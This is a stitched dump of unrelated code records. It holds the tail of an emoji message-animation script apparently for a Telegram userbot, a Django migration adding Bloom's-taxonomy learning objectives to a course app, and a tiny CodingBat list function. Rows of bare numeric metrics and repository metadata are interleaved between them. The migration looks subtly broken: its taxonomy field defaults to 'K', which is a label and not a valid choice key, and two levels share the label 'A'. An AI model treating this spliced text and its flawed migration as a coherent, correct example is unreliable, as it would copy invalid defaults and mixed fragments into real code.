"◼️◼️◼️◼️◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\n◼️S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\n◼️◼️◼️◼️◼️",
"◼️◼️◼️◼️◼️\nS͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\n◼️S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\n◼️S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\n◼️◼️◼️◼️◼️",
"◼️◼️◼️◼️◼️\n◼️S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\n◼️S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\n◼️S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\n◼️◼️◼️◼️◼️",
"◼️◼️◼️◼️◼️\n◼️◼️S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\n◼️S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\n◼️S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\n◼️◼️◼️◼️◼️",
"◼️◼️◼️◼️◼️\n◼️◼️◼️S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\n◼️S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\n◼️S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\n◼️◼️◼️◼️◼️",
"◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\n◼️S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\n◼️◼️◼️◼️◼️",
"◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️◼️\n◼️S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️\n◼️◼️◼️◼️◼️",
"◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️◼️\n◼️S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️◼️\n◼️◼️◼️◼️◼️",
"◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️◼️\n◼️S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️◼️◼️\n◼️◼️◼️◼️◼️",
"◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️",
"◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️S͓̽A͓̽R͓̽A͓̽T͓̽H͓̽◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️",
"◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️◼️◼️",
"◼️◼️◼️◼️\n◼️◼️◼️◼️\n◼️◼️◼️◼️\n◼️◼️◼️◼️",
"◼️◼️◼️\n◼️◼️◼️\n◼️◼️◼️",
"◼️◼️\n◼️◼️",
"◼️"
]
for i in animation_ttl:
await asyncio.sleep(animation_interval)
await event.edit(animation_chars[i % 30])
| 85.824176
| 473
| 0.302305
| 4,091
| 7,810
| 1.702029
| 0.013444
| 0.280052
| 0.466753
| 0.280052
| 0.947724
| 0.942697
| 0.942697
| 0.938101
| 0.938101
| 0.938101
| 0
| 0.00097
| 0.076184
| 7,810
| 90
| 474
| 86.777778
| 0.324879
| 0.004481
| 0
| 0
| 0
| 0.568182
| 0.873858
| 0.871412
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.068182
| 0
| 0.090909
| 0
| 0
| 0
| 1
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 14
|
ebd58c1e72d138947b456e308c670e3279d62f6c
| 22,670
|
py
|
Python
|
learning/migrations/0008_blooms_taxonomy.py
|
dbcaturra/django-koala-azure
|
7b79b7484e3530513b97ed148333ba0778f38a3e
|
[
"MIT"
] | null | null | null |
learning/migrations/0008_blooms_taxonomy.py
|
dbcaturra/django-koala-azure
|
7b79b7484e3530513b97ed148333ba0778f38a3e
|
[
"MIT"
] | null | null | null |
learning/migrations/0008_blooms_taxonomy.py
|
dbcaturra/django-koala-azure
|
7b79b7484e3530513b97ed148333ba0778f38a3e
|
[
"MIT"
] | null | null | null |
# Generated by Django 2.2.12 on 2020-08-06 13:39
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import learning.permissions
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('learning', '0007_global_model_update'),
]
operations = [
migrations.CreateModel(
name='Objective',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('ability', models.CharField(help_text='A label that indicates the abilities validated by the learner.', max_length=255, verbose_name='Ability')),
('language', models.CharField(choices=[('af', 'Afrikaans'), ('ar', 'Arabic'), ('ast', 'Asturian'), ('az', 'Azerbaijani'), ('bg', 'Bulgarian'), ('be', 'Belarusian'), ('bn', 'Bengali'), ('br', 'Breton'), ('bs', 'Bosnian'), ('ca', 'Catalan'), ('cs', 'Czech'), ('cy', 'Welsh'), ('da', 'Danish'), ('de', 'German'), ('dsb', 'Lower Sorbian'), ('el', 'Greek'), ('en', 'English'), ('en-au', 'Australian English'), ('en-gb', 'British English'), ('eo', 'Esperanto'), ('es', 'Spanish'), ('es-ar', 'Argentinian Spanish'), ('es-co', 'Colombian Spanish'), ('es-mx', 'Mexican Spanish'), ('es-ni', 'Nicaraguan Spanish'), ('es-ve', 'Venezuelan Spanish'), ('et', 'Estonian'), ('eu', 'Basque'), ('fa', 'Persian'), ('fi', 'Finnish'), ('fr', 'French'), ('fy', 'Frisian'), ('ga', 'Irish'), ('gd', 'Scottish Gaelic'), ('gl', 'Galician'), ('he', 'Hebrew'), ('hi', 'Hindi'), ('hr', 'Croatian'), ('hsb', 'Upper Sorbian'), ('hu', 'Hungarian'), ('hy', 'Armenian'), ('ia', 'Interlingua'), ('id', 'Indonesian'), ('io', 'Ido'), ('is', 'Icelandic'), ('it', 'Italian'), ('ja', 'Japanese'), ('ka', 'Georgian'), ('kab', 'Kabyle'), ('kk', 'Kazakh'), ('km', 'Khmer'), ('kn', 'Kannada'), ('ko', 'Korean'), ('lb', 'Luxembourgish'), ('lt', 'Lithuanian'), ('lv', 'Latvian'), ('mk', 'Macedonian'), ('ml', 'Malayalam'), ('mn', 'Mongolian'), ('mr', 'Marathi'), ('my', 'Burmese'), ('nb', 'Norwegian Bokmål'), ('ne', 'Nepali'), ('nl', 'Dutch'), ('nn', 'Norwegian Nynorsk'), ('os', 'Ossetic'), ('pa', 'Punjabi'), ('pl', 'Polish'), ('pt', 'Portuguese'), ('pt-br', 'Brazilian Portuguese'), ('ro', 'Romanian'), ('ru', 'Russian'), ('sk', 'Slovak'), ('sl', 'Slovenian'), ('sq', 'Albanian'), ('sr', 'Serbian'), ('sr-latn', 'Serbian Latin'), ('sv', 'Swedish'), ('sw', 'Swahili'), ('ta', 'Tamil'), ('te', 'Telugu'), ('th', 'Thai'), ('tr', 'Turkish'), ('tt', 'Tatar'), ('udm', 'Udmurt'), ('uk', 'Ukrainian'), ('ur', 'Urdu'), ('vi', 'Vietnamese'), ('zh-hans', 'Simplified Chinese'), ('zh-hant', 'Traditional Chinese')], help_text='The language in which the course_objective is written in.', max_length=20, verbose_name='Language')),
('slug', models.SlugField(unique=True)),
('created', models.DateTimeField(auto_now_add=True, verbose_name='Published the…')),
('updated', models.DateTimeField(auto_now=True, verbose_name='Last updated the…')),
('author', models.ForeignKey(help_text='The course_objective’s author.', on_delete=django.db.models.deletion.CASCADE, related_name='created_objectives', to=settings.AUTH_USER_MODEL, verbose_name='Author')),
],
),
migrations.CreateModel(
name='ObjectiveValidatorMixin',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('slug', models.SlugField(unique=True)),
('validated', models.DateTimeField(auto_now_add=True, verbose_name='Validated the…')),
],
),
migrations.AlterField(
model_name='activity',
name='language',
field=models.CharField(choices=[('af', 'Afrikaans'), ('ar', 'Arabic'), ('ast', 'Asturian'), ('az', 'Azerbaijani'), ('bg', 'Bulgarian'), ('be', 'Belarusian'), ('bn', 'Bengali'), ('br', 'Breton'), ('bs', 'Bosnian'), ('ca', 'Catalan'), ('cs', 'Czech'), ('cy', 'Welsh'), ('da', 'Danish'), ('de', 'German'), ('dsb', 'Lower Sorbian'), ('el', 'Greek'), ('en', 'English'), ('en-au', 'Australian English'), ('en-gb', 'British English'), ('eo', 'Esperanto'), ('es', 'Spanish'), ('es-ar', 'Argentinian Spanish'), ('es-co', 'Colombian Spanish'), ('es-mx', 'Mexican Spanish'), ('es-ni', 'Nicaraguan Spanish'), ('es-ve', 'Venezuelan Spanish'), ('et', 'Estonian'), ('eu', 'Basque'), ('fa', 'Persian'), ('fi', 'Finnish'), ('fr', 'French'), ('fy', 'Frisian'), ('ga', 'Irish'), ('gd', 'Scottish Gaelic'), ('gl', 'Galician'), ('he', 'Hebrew'), ('hi', 'Hindi'), ('hr', 'Croatian'), ('hsb', 'Upper Sorbian'), ('hu', 'Hungarian'), ('hy', 'Armenian'), ('ia', 'Interlingua'), ('id', 'Indonesian'), ('io', 'Ido'), ('is', 'Icelandic'), ('it', 'Italian'), ('ja', 'Japanese'), ('ka', 'Georgian'), ('kab', 'Kabyle'), ('kk', 'Kazakh'), ('km', 'Khmer'), ('kn', 'Kannada'), ('ko', 'Korean'), ('lb', 'Luxembourgish'), ('lt', 'Lithuanian'), ('lv', 'Latvian'), ('mk', 'Macedonian'), ('ml', 'Malayalam'), ('mn', 'Mongolian'), ('mr', 'Marathi'), ('my', 'Burmese'), ('nb', 'Norwegian Bokmål'), ('ne', 'Nepali'), ('nl', 'Dutch'), ('nn', 'Norwegian Nynorsk'), ('os', 'Ossetic'), ('pa', 'Punjabi'), ('pl', 'Polish'), ('pt', 'Portuguese'), ('pt-br', 'Brazilian Portuguese'), ('ro', 'Romanian'), ('ru', 'Russian'), ('sk', 'Slovak'), ('sl', 'Slovenian'), ('sq', 'Albanian'), ('sr', 'Serbian'), ('sr-latn', 'Serbian Latin'), ('sv', 'Swedish'), ('sw', 'Swahili'), ('ta', 'Tamil'), ('te', 'Telugu'), ('th', 'Thai'), ('tr', 'Turkish'), ('tt', 'Tatar'), ('udm', 'Udmurt'), ('uk', 'Ukrainian'), ('ur', 'Urdu'), ('vi', 'Vietnamese'), ('zh-hans', 'Simplified Chinese'), ('zh-hant', 'Traditional Chinese')], default='en', help_text='The language in which the entity is written in.', max_length=20, verbose_name='Language'),
),
migrations.AlterField(
model_name='activity',
name='published',
field=models.DateTimeField(auto_now_add=True, verbose_name='Published the…'),
),
migrations.AlterField(
model_name='activity',
name='reuse',
field=models.CharField(choices=[('NO_RESTRICTION', 'Reusable'), ('ONLY_AUTHOR', 'Author only'), ('NON_REUSABLE', 'Non reusable')], default='ONLY_AUTHOR', help_text='Whether you want the activity to be reusable in courses made by other users. Activities can be fully reusable, only by you or not reusable', max_length=20, verbose_name='Reuse'),
),
migrations.AlterField(
model_name='activity',
name='updated',
field=models.DateTimeField(auto_now=True, verbose_name='Last updated the…'),
),
migrations.AlterField(
model_name='course',
name='language',
field=models.CharField(choices=[('af', 'Afrikaans'), ('ar', 'Arabic'), ('ast', 'Asturian'), ('az', 'Azerbaijani'), ('bg', 'Bulgarian'), ('be', 'Belarusian'), ('bn', 'Bengali'), ('br', 'Breton'), ('bs', 'Bosnian'), ('ca', 'Catalan'), ('cs', 'Czech'), ('cy', 'Welsh'), ('da', 'Danish'), ('de', 'German'), ('dsb', 'Lower Sorbian'), ('el', 'Greek'), ('en', 'English'), ('en-au', 'Australian English'), ('en-gb', 'British English'), ('eo', 'Esperanto'), ('es', 'Spanish'), ('es-ar', 'Argentinian Spanish'), ('es-co', 'Colombian Spanish'), ('es-mx', 'Mexican Spanish'), ('es-ni', 'Nicaraguan Spanish'), ('es-ve', 'Venezuelan Spanish'), ('et', 'Estonian'), ('eu', 'Basque'), ('fa', 'Persian'), ('fi', 'Finnish'), ('fr', 'French'), ('fy', 'Frisian'), ('ga', 'Irish'), ('gd', 'Scottish Gaelic'), ('gl', 'Galician'), ('he', 'Hebrew'), ('hi', 'Hindi'), ('hr', 'Croatian'), ('hsb', 'Upper Sorbian'), ('hu', 'Hungarian'), ('hy', 'Armenian'), ('ia', 'Interlingua'), ('id', 'Indonesian'), ('io', 'Ido'), ('is', 'Icelandic'), ('it', 'Italian'), ('ja', 'Japanese'), ('ka', 'Georgian'), ('kab', 'Kabyle'), ('kk', 'Kazakh'), ('km', 'Khmer'), ('kn', 'Kannada'), ('ko', 'Korean'), ('lb', 'Luxembourgish'), ('lt', 'Lithuanian'), ('lv', 'Latvian'), ('mk', 'Macedonian'), ('ml', 'Malayalam'), ('mn', 'Mongolian'), ('mr', 'Marathi'), ('my', 'Burmese'), ('nb', 'Norwegian Bokmål'), ('ne', 'Nepali'), ('nl', 'Dutch'), ('nn', 'Norwegian Nynorsk'), ('os', 'Ossetic'), ('pa', 'Punjabi'), ('pl', 'Polish'), ('pt', 'Portuguese'), ('pt-br', 'Brazilian Portuguese'), ('ro', 'Romanian'), ('ru', 'Russian'), ('sk', 'Slovak'), ('sl', 'Slovenian'), ('sq', 'Albanian'), ('sr', 'Serbian'), ('sr-latn', 'Serbian Latin'), ('sv', 'Swedish'), ('sw', 'Swahili'), ('ta', 'Tamil'), ('te', 'Telugu'), ('th', 'Thai'), ('tr', 'Turkish'), ('tt', 'Tatar'), ('udm', 'Udmurt'), ('uk', 'Ukrainian'), ('ur', 'Urdu'), ('vi', 'Vietnamese'), ('zh-hans', 'Simplified Chinese'), ('zh-hant', 'Traditional Chinese')], default='en', help_text='The language in which the entity is written in.', max_length=20, verbose_name='Language'),
),
migrations.AlterField(
model_name='course',
name='published',
field=models.DateTimeField(auto_now_add=True, verbose_name='Published the…'),
),
migrations.AlterField(
model_name='course',
name='updated',
field=models.DateTimeField(auto_now=True, verbose_name='Last updated the…'),
),
migrations.AlterField(
model_name='resource',
name='language',
field=models.CharField(choices=[('af', 'Afrikaans'), ('ar', 'Arabic'), ('ast', 'Asturian'), ('az', 'Azerbaijani'), ('bg', 'Bulgarian'), ('be', 'Belarusian'), ('bn', 'Bengali'), ('br', 'Breton'), ('bs', 'Bosnian'), ('ca', 'Catalan'), ('cs', 'Czech'), ('cy', 'Welsh'), ('da', 'Danish'), ('de', 'German'), ('dsb', 'Lower Sorbian'), ('el', 'Greek'), ('en', 'English'), ('en-au', 'Australian English'), ('en-gb', 'British English'), ('eo', 'Esperanto'), ('es', 'Spanish'), ('es-ar', 'Argentinian Spanish'), ('es-co', 'Colombian Spanish'), ('es-mx', 'Mexican Spanish'), ('es-ni', 'Nicaraguan Spanish'), ('es-ve', 'Venezuelan Spanish'), ('et', 'Estonian'), ('eu', 'Basque'), ('fa', 'Persian'), ('fi', 'Finnish'), ('fr', 'French'), ('fy', 'Frisian'), ('ga', 'Irish'), ('gd', 'Scottish Gaelic'), ('gl', 'Galician'), ('he', 'Hebrew'), ('hi', 'Hindi'), ('hr', 'Croatian'), ('hsb', 'Upper Sorbian'), ('hu', 'Hungarian'), ('hy', 'Armenian'), ('ia', 'Interlingua'), ('id', 'Indonesian'), ('io', 'Ido'), ('is', 'Icelandic'), ('it', 'Italian'), ('ja', 'Japanese'), ('ka', 'Georgian'), ('kab', 'Kabyle'), ('kk', 'Kazakh'), ('km', 'Khmer'), ('kn', 'Kannada'), ('ko', 'Korean'), ('lb', 'Luxembourgish'), ('lt', 'Lithuanian'), ('lv', 'Latvian'), ('mk', 'Macedonian'), ('ml', 'Malayalam'), ('mn', 'Mongolian'), ('mr', 'Marathi'), ('my', 'Burmese'), ('nb', 'Norwegian Bokmål'), ('ne', 'Nepali'), ('nl', 'Dutch'), ('nn', 'Norwegian Nynorsk'), ('os', 'Ossetic'), ('pa', 'Punjabi'), ('pl', 'Polish'), ('pt', 'Portuguese'), ('pt-br', 'Brazilian Portuguese'), ('ro', 'Romanian'), ('ru', 'Russian'), ('sk', 'Slovak'), ('sl', 'Slovenian'), ('sq', 'Albanian'), ('sr', 'Serbian'), ('sr-latn', 'Serbian Latin'), ('sv', 'Swedish'), ('sw', 'Swahili'), ('ta', 'Tamil'), ('te', 'Telugu'), ('th', 'Thai'), ('tr', 'Turkish'), ('tt', 'Tatar'), ('udm', 'Udmurt'), ('uk', 'Ukrainian'), ('ur', 'Urdu'), ('vi', 'Vietnamese'), ('zh-hans', 'Simplified Chinese'), ('zh-hant', 'Traditional Chinese')], default='en', help_text='The language in which the entity is written in.', max_length=20, verbose_name='Language'),
),
migrations.AlterField(
model_name='resource',
name='published',
field=models.DateTimeField(auto_now_add=True, verbose_name='Published the…'),
),
migrations.AlterField(
model_name='resource',
name='reuse',
field=models.CharField(choices=[('NO_RESTRICTION', 'Reusable'), ('ONLY_AUTHOR', 'Author only'), ('NON_REUSABLE', 'Non reusable')], default='ONLY_AUTHOR', help_text='Whether you want the resource to be reusable in an activity created by other users. Resources can be fully reusable, only by you or not reusable', max_length=20, verbose_name='Reuse'),
),
migrations.AlterField(
model_name='resource',
name='updated',
field=models.DateTimeField(auto_now=True, verbose_name='Last updated the…'),
),
migrations.CreateModel(
name='ValidationOnObjective',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('slug', models.SlugField(unique=True)),
('validated_the', models.DateTimeField(auto_now_add=True, verbose_name='Validated the…')),
('objective', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='validations', to='learning.Objective', verbose_name='Objective')),
('student', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='validations', to=settings.AUTH_USER_MODEL, verbose_name='Student')),
],
),
migrations.CreateModel(
name='ResourceObjective',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('taxonomy_level', models.CharField(choices=[('KNOWLEDGE', 'K'), ('COMPREHENSION', 'C'), ('APPLICATION', 'A'), ('ANALYSIS', 'A'), ('SYNTHESIS', 'S'), ('EVALUATION', 'E')], default='K', help_text='The taxonomy classification level.', max_length=20, verbose_name='Classification level')),
('needs_test', models.BooleanField(default=False, help_text='Whether this course_objective needs a test in order to be validated.', verbose_name='Objective needs test')),
('objective_reusable', models.BooleanField(default=True, help_text='If enable, the objective cannot be validated within another entity', verbose_name='Validation within another entity')),
('created', models.DateTimeField(auto_now_add=True, null=True, verbose_name='Since the')),
('objective', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='resource_objectives', to='learning.Objective', verbose_name='Objective')),
('resource', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='resource_objectives', to='learning.Resource', verbose_name='Resource')),
],
options={
'abstract': False,
},
bases=(learning.permissions.ObjectPermissionManagerMixin, models.Model),
),
migrations.AddField(
model_name='objective',
name='validators',
field=models.ManyToManyField(help_text='The user that can validate the course_objective.', related_name='validation_on_objective', through='learning.ValidationOnObjective', to=settings.AUTH_USER_MODEL, verbose_name='Students validators'),
),
migrations.CreateModel(
name='CourseObjective',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('taxonomy_level', models.CharField(choices=[('KNOWLEDGE', 'K'), ('COMPREHENSION', 'C'), ('APPLICATION', 'A'), ('ANALYSIS', 'A'), ('SYNTHESIS', 'S'), ('EVALUATION', 'E')], default='K', help_text='The taxonomy classification level.', max_length=20, verbose_name='Classification level')),
('needs_test', models.BooleanField(default=False, help_text='Whether this course_objective needs a test in order to be validated.', verbose_name='Objective needs test')),
('objective_reusable', models.BooleanField(default=True, help_text='If enable, the objective cannot be validated within another entity', verbose_name='Validation within another entity')),
('created', models.DateTimeField(auto_now_add=True, null=True, verbose_name='Since the')),
('course', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='course_objectives', to='learning.Course', verbose_name='Course')),
('objective', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='course_objectives', to='learning.Objective', verbose_name='Objective')),
],
options={
'abstract': False,
},
bases=(learning.permissions.ObjectPermissionManagerMixin, models.Model),
),
migrations.CreateModel(
name='ActivityObjective',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('taxonomy_level', models.CharField(choices=[('KNOWLEDGE', 'K'), ('COMPREHENSION', 'C'), ('APPLICATION', 'A'), ('ANALYSIS', 'A'), ('SYNTHESIS', 'S'), ('EVALUATION', 'E')], default='K', help_text='The taxonomy classification level.', max_length=20, verbose_name='Classification level')),
('needs_test', models.BooleanField(default=False, help_text='Whether this course_objective needs a test in order to be validated.', verbose_name='Objective needs test')),
('objective_reusable', models.BooleanField(default=True, help_text='If enable, the objective cannot be validated within another entity', verbose_name='Validation within another entity')),
('created', models.DateTimeField(auto_now_add=True, null=True, verbose_name='Since the')),
('activity', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='activity_objectives', to='learning.Activity', verbose_name='Activity')),
('objective', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='activity_objectives', to='learning.Objective', verbose_name='Objective')),
],
options={
'abstract': False,
},
bases=(learning.permissions.ObjectPermissionManagerMixin, models.Model),
),
migrations.AddField(
model_name='activity',
name='objectives',
field=models.ManyToManyField(help_text='The objectives that are in the activity', related_name='objectives_on_activity', through='learning.ActivityObjective', to='learning.Objective', verbose_name='Objectives'),
),
migrations.AddField(
model_name='course',
name='objectives',
field=models.ManyToManyField(help_text='The objectives that are in this course', related_name='objectives_on_course', through='learning.CourseObjective', to='learning.Objective', verbose_name='Objectives'),
),
migrations.AddField(
model_name='resource',
name='objectives',
field=models.ManyToManyField(help_text='The objectives that are in the resource', related_name='objectives_on_resource', through='learning.ResourceObjective', to='learning.Objective', verbose_name='Objectives'),
),
migrations.CreateModel(
name='ResourceObjectiveValidator',
fields=[
('objectivevalidatormixin_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='learning.ObjectiveValidatorMixin')),
('resource_objective', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='resource_objective_validator', to='learning.ResourceObjective', verbose_name='Resource objective')),
('student', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='resource_objective_validator', to=settings.AUTH_USER_MODEL, verbose_name='Student')),
],
bases=('learning.objectivevalidatormixin',),
),
migrations.AddField(
model_name='resourceobjective',
name='validators',
field=models.ManyToManyField(blank=True, help_text='Student who validated the course_objective', related_name='resource_objectives', through='learning.ResourceObjectiveValidator', to=settings.AUTH_USER_MODEL, verbose_name='Validators'),
),
migrations.CreateModel(
name='CourseObjectiveValidator',
fields=[
('objectivevalidatormixin_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='learning.ObjectiveValidatorMixin')),
('course_objective', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='course_objective_validator', to='learning.CourseObjective', verbose_name='Course objective')),
('student', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='course_objective_validator', to=settings.AUTH_USER_MODEL, verbose_name='Student')),
],
bases=('learning.objectivevalidatormixin',),
),
migrations.AddField(
model_name='courseobjective',
name='validators',
field=models.ManyToManyField(blank=True, help_text='Student who validated the course_objective', related_name='course_objectives', through='learning.CourseObjectiveValidator', to=settings.AUTH_USER_MODEL, verbose_name='Validators'),
),
migrations.CreateModel(
name='ActivityObjectiveValidator',
fields=[
('objectivevalidatormixin_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='learning.ObjectiveValidatorMixin')),
('activity_objective', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='activity_objective_validator', to='learning.ActivityObjective', verbose_name='Activity objective')),
('student', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='activity_objective_validator', to=settings.AUTH_USER_MODEL, verbose_name='Student')),
],
bases=('learning.objectivevalidatormixin',),
),
migrations.AddField(
model_name='activityobjective',
name='validators',
field=models.ManyToManyField(blank=True, help_text='Student who validated the course_objective', related_name='activity_objectives', through='learning.ActivityObjectiveValidator', to=settings.AUTH_USER_MODEL, verbose_name='Validators'),
),
]
| 106.431925
| 2,090
| 0.614645
| 2,395
| 22,670
| 5.713987
| 0.145303
| 0.045817
| 0.019437
| 0.030544
| 0.874023
| 0.868761
| 0.861235
| 0.847863
| 0.836463
| 0.82996
| 0
| 0.002181
| 0.170622
| 22,670
| 212
| 2,091
| 106.933962
| 0.724072
| 0.002029
| 0
| 0.723301
| 1
| 0.009709
| 0.380205
| 0.041243
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.019417
| 0
| 0.033981
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
cced40e24b515db1fc6563fe2d3e9eb04255fdf6
| 59
|
py
|
Python
|
CodingBat/Python/List-1 > reverse3.py
|
JLJTECH/TutorialTesting
|
f2dbbd49a86b3b086d0fc156ac3369fb74727f86
|
[
"MIT"
] | null | null | null |
CodingBat/Python/List-1 > reverse3.py
|
JLJTECH/TutorialTesting
|
f2dbbd49a86b3b086d0fc156ac3369fb74727f86
|
[
"MIT"
] | null | null | null |
CodingBat/Python/List-1 > reverse3.py
|
JLJTECH/TutorialTesting
|
f2dbbd49a86b3b086d0fc156ac3369fb74727f86
|
[
"MIT"
] | null | null | null |
def reverse3(nums):
return [nums[-1], nums[1], nums[0]]
| 29.5
| 39
| 0.610169
| 10
| 59
| 3.6
| 0.6
| 0.277778
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.08
| 0.152542
| 59
| 2
| 39
| 29.5
| 0.64
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| false
| 0
| 0
| 0.5
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 7
|
69073497cb0a3bfc6f2b0ab40c3ed6ca440904e9
| 8,528
|
py
|
Python
|
